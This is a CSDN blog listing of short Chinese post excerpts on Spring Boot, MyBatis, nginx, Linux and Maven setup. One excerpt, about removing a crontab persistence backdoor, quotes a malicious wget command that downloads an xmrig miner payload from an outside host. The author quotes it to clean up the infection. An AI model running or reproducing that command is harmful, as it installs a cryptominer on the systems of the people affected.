- 博客(46)
- 收藏
- 关注
原创 springboot jar包启动脚本
1.新建start.sh文件2.编辑内容为 #!/bin/sh#这里可替换为你自己的执行程序,其他代码无需更改APP_NAME=protocol.jar#使用说明,用来提示输入参数usage() { echo "Usage: sh demo.sh [start|stop|restart|status]" exit 1}#检查程序是否在运行is_exist() { pid=`ps -ef | grep $APP_NAME | g...
2021-07-27 10:06:28
520
原创 利用fastjson打印对象日志
log.info("unclosedOrders:" + com.alibaba.fastjson.JSONObject.toJSONString(unclosedOrders));
2021-07-27 08:38:56
711
原创 idea使用git管理忽略某些文件
1. 在项目下新建.gitignore文件2.编辑文件内容为*.log*.zipHELP.mdtarget/!.mvn/wrapper/maven-wrapper.jar!**/src/main/**/target/!**/src/test/**/target/### STS ###.apt_generated.classpath.factorypath.project.settings.springBeans.sts4-cache### IntelliJ IDE
2021-07-24 10:06:44
355
原创 持久化后门crontab
服务器遇到了挖矿程序,wget --quiet http://m247.ltd:36663/.xmrig/0 -O-crontab计划任务导致了该告警的产生。crontab是Linux操作系统中常用的计划任务服务,黑客或恶意程序常常会通过添加修改cron任务使恶意程序定时重复启动,保持驻留。1.vim /etc/crontab 找到这条命令删除并保存。2.使用crontab -l 查看,crontab -e进入编辑页面,输入dd,删除, :wq!保存退出...
2021-07-06 14:09:11
868
原创 tcp上报服务器,未收到回复
使用 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'命令发现CLOSE_WAIT过高再使用 netstat -an 发现8087端口导致排查相关项目,发现占用8087的项目tcp未释放,修改代码解决了相关问题...
2021-03-26 10:58:04
396
原创 nginx配置https并允许跨域请求
server{ listen 443 ssl; server_name YU; root html; index index.html index.htm; ssl_certificate cert/4567229_YU.pem; ssl_certificate_key cert/4567229_YU.key; ssl_session_timeout 5m; ssl_cipher...
2021-03-20 15:23:31
1902
原创 httpClient实现传输文件流服务端接受
package user;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import javax.servlet.http.HttpServletRequest;import org.apache.commons.httpclient.HttpClient;i.
2021-03-20 15:11:52
2484
转载 Mybati 批量插入报ORA-00933: SQL 命令未正确结束
最近做一个批量导入的需求,将多条记录批量插入数据库中。解决思路:在程序中封装一个List集合对象,然后把该集合中的实体插入到数据库中,因为项目使用了MyBatis,所以打算使用MyBatis的foreach功能进行批量插入。期间遇到了“SQL 命令未正确结束 ”的错误,最终解决,记录下来供以后查阅和学习。 首先,在网上参考了有关Mybatis的foreach insert的资料,...
2018-07-28 17:11:13
9606
4
原创 虚拟机拼不通本机,但是本机可以拼通虚拟机的解决
虚拟机使用了静态ip,本机可以拼通,但是虚拟机拼不通本机。PING 192.168.50.115 (192.168.50.115) 56(84) bytes of data.From 192.168.50.117 icmp_seq=2 Destination Host UnreachableFrom 192.168.50.117 icmp_seq=3 Destination Host
2018-02-02 11:28:31
1477
原创 Shutting down interface eth0: Error: Device 'eth0' (/org/freedesktop/NetworkManager/Devices/0) disc
配置虚拟机静态ip时报错Shutting down interface eth0: Error: Device 'eth0' (/org/freedesktop/NetworkManager/Devices/0) disconnecting failed: This device is not active解决办法如下:chkconfig NetworkManager off
2018-02-01 18:21:17
975
转载 Mybatis中的#{}和${}区别
1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", 如果传入的值是id,则解析成的sql为order by "id". 2. $将传入的数据直接显示生成在sql中。如:order by $user_id$,如果传入的值是111,那么解析成sql时的值为
2018-01-30 10:45:58
211
转载 Eclipse Java注释模板设置详解
设置注释模板的入口: Window->Preference->Java->Code Style->Code Template 然后展开Comments节点就是所有需设置注释的元素啦。现就每一个元素逐一介绍:文件(Files)注释标签:/** * @Title: ${file_name} * @Package ${package_name} * @Descriptio
2017-11-22 17:56:30
228
转载 Java泛型中E,T,K,V,N
Java泛型中的标记符含义: E - Element (在集合中使用,因为集合中存放的是元素) T - Type(Java 类) K - Key(键) V - Value(值) N - Number(数值类型)? - 表示不确定的java类型 S、U、V - 2nd、3rd、4th typesObje
2017-09-26 17:02:31
345
原创 Linux解决java.security.InvalidKeyException: Illegal key size or default parameters
Linux解决java.security.InvalidKeyException: Illegal key size or default parameters
2017-08-07 17:23:36
3522
转载 tomcat容器log4j日志打印 到前一天解决办法
为了把域名指向默认的应用(MyApp),所以在conf/server.xml文件配置了一个Context,但是MyApp又是放在webapps路径下,导致MyApp实例了两次,所以log4j也实例了两次,使日志文件产生了混乱。我把MyApp移除webapps后日志服务就正常了
2017-07-06 09:55:15
2905
原创 maven启动web工程
1.在pom.xml中新增了 src/main/java **/*.xml false src/main/resources **/*.properties
2017-05-24 16:12:13
631
原创 ajax return false 无效
问题原因:1. ajax时return false 的function与onsubmit()不是同一个函数;2. 在ajax执行时,async默认的设置值为true,这种情况为异步方式,就是说当ajax发送请求后,在等待server端返回的这个过程中,前台会继续 执行ajax块后面的脚本,直到server端返回正确的结果才会去执行success,也就是说这时候执行的是两个线程,ajax块发
2017-03-31 13:27:29
2342
原创 centos开机启动svn
centos开机自动启动SVN服务的方法1、编辑rc.local文件 vi /etc/rc.d/rc.local2、加入如下启动命令 /usr/bin/svnserve -d -r /home/svn
2017-03-02 17:50:34
489
转载 多线程死锁
package com.cxstock.action;public class test { public static void main(String[] args) { TestDeadLock td1 = new TestDeadLock(); TestDeadLock td2 = new TestDeadLock(); td1.flag = 1; td2.flag
2017-02-27 14:02:27
335
原创 多线程为什么调用start而不是调用run方法
run方法只是其中一个方法, public void run() { if (target != null) { target.run(); } }而start方法为线程安全,且采用JVI技术实现了多线程 public synchronized void start() { /**
2017-02-26 11:50:50
938
转载 springMvc Model
// 查询我的熟车 @RequestMapping("/myKnowCars") public String myAuthenticationVehicles(Model m,HttpSession session, JspPaginator jspPaginator) { UserInfo user = SessionUserHelper.getUserInfo(session);
2017-02-20 18:39:10
350
原创 eclipse提交项目到git
详情见bokehttp://blog.youkuaiyun.com/zongzhankui/article/details/48653731
2017-02-17 18:43:29
1826
原创 js浮点数相加、减、乘、除精确计算
"font-size:18px;">//说明:javascript的加法结果会有误差,在两个浮点数相加的时候会比较明显。这个函数返回较为精确的加法结果。 //调用:accAdd(arg1,arg2) //返回值:arg1加上arg2的精确结果 function accAdd(arg1,arg2){ var r1,r2,m; try{r1=arg1.to
2017-02-16 10:22:04
1357
原创 mysql实现类似伪列效果
SELECT @rownum:=@rownum+1 AS rownum,hyd_day_loandetil.* FROM (SELECT @rownum:=0) r, hyd_day_loandetil;rownum变量名;hyd_day_loandetil 查询的表名
2017-02-04 09:29:23
568
原创 DateUtil工具类获取n天时使用Calendar错误
/**根据输入的日期A和天数B,计算出B天后的日期C*/ public static String getLateDate(String sDate,int iDays) { String sLateDate = ""; Calendar calendar = Calendar.getInstance(); try { String time
2017-02-04 09:16:32
388
原创 MySQL中select * for update锁表的范围
MySQL中select * for update锁表的问题由于InnoDB预设是Row-Level Lock,所以只有「明确」的指定主键,MySQL才会执行Row lock (只锁住被选取的资料例) ,否则MySQL将会执行TableLock (将整个资料表单给锁住)。 举个例子: 假设有个表单products ,里面有id跟name二个栏位,id是主键。例1: (明确指
2017-02-01 09:45:28
681
原创 nginx环境搭建及相关命令
环境搭建博客http://www.cnblogs.com/jtlgb/p/5809808.html进入/usr/local/nginx/sbin目录./nginx 启动 pkill -9 nginx 关闭
2017-01-24 11:39:07
275
原创 linux设置静态ip
1. vi /etc/sysconfig/network-scripts/ifcfg-eth0 2. DEVICE="eth0"BOOTPROTO="static"HWADDR="00:0C:29:EF:25:5F"IPV6INIT="yes"NM_CONTROLLED="yes"ONBOOT="yes"TYPE="Ethernet"UUID="207
2017-01-24 09:49:24
295
原创 linux权限问题无法使用./startup.sh
今天在Linux上启动Tomcat,结果弹出:-bash: ./startup.sh: Permission denied 的提示。这是因为用户没有权限,而导致无法执行。用命令chmod 修改一下bin目录下的.sh权限就可以了。chmod u+x *.sh这里的u 这里指文件所有者,+x 添加可执行权限,*.sh表示所有的sh文件。
2017-01-23 17:06:44
1952
原创 eclipse导入远程git代码及(push、pull、及maven工程导入)
eclipse导入远程git代码及(push、pull、及maven工程导入)详情见博客http://blog.youkuaiyun.com/tantexian/article/details/49468823
2017-01-22 14:28:00
337
原创 maven项目发布到nexus
Release版本的项目应该发布到Releases仓库中,对应的,Snapshot版本应该发布到Snapshots仓库中。Maven根据pom.xml文件中版本号节点的属性是否包含-SNAPSHOT,来判断该项目是否是snapshot版本。如果是snapshot版本,在执行mvn deploy部署命令时,maven会自动将项目发布到Snapshots仓库。要发布项目,首先需要将Releases仓库
2017-01-18 09:28:29
521
原创 redis.sentinel选择指定数据库
现在有1,2,3,3个redis的数据库,如果不配置默认数据插入第一个,现在指定插入第二个,方法如下
2017-01-13 13:30:24
1482
原创 解决maven项目One or more constraints have not been satisfied
hyd maven-compiler-plugin 1.7 1.7 maven-war-plugin 3.0 在pom.xml中加入jdk版本及maven版本update即可
2017-01-12 16:32:41
3561
原创 maven 项目 添加src/main/java出The folder is already a source folde问题
右键build path -> configure build path -> source ,选择 src/main/java、src/test/java删除,然后再新建。
2017-01-12 14:37:09
467
原创 maven构建web项目及无法修改dynamic web module的选项
1.选择Maven Project2.选择项目类型 在Artifact Id中选择maven-archetype-webapp3.默认创建的新工程dynamic web module的选项是2.3,在工作空间.settings文件夹中修改xml中version为3.0
2017-01-11 18:40:21
636
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人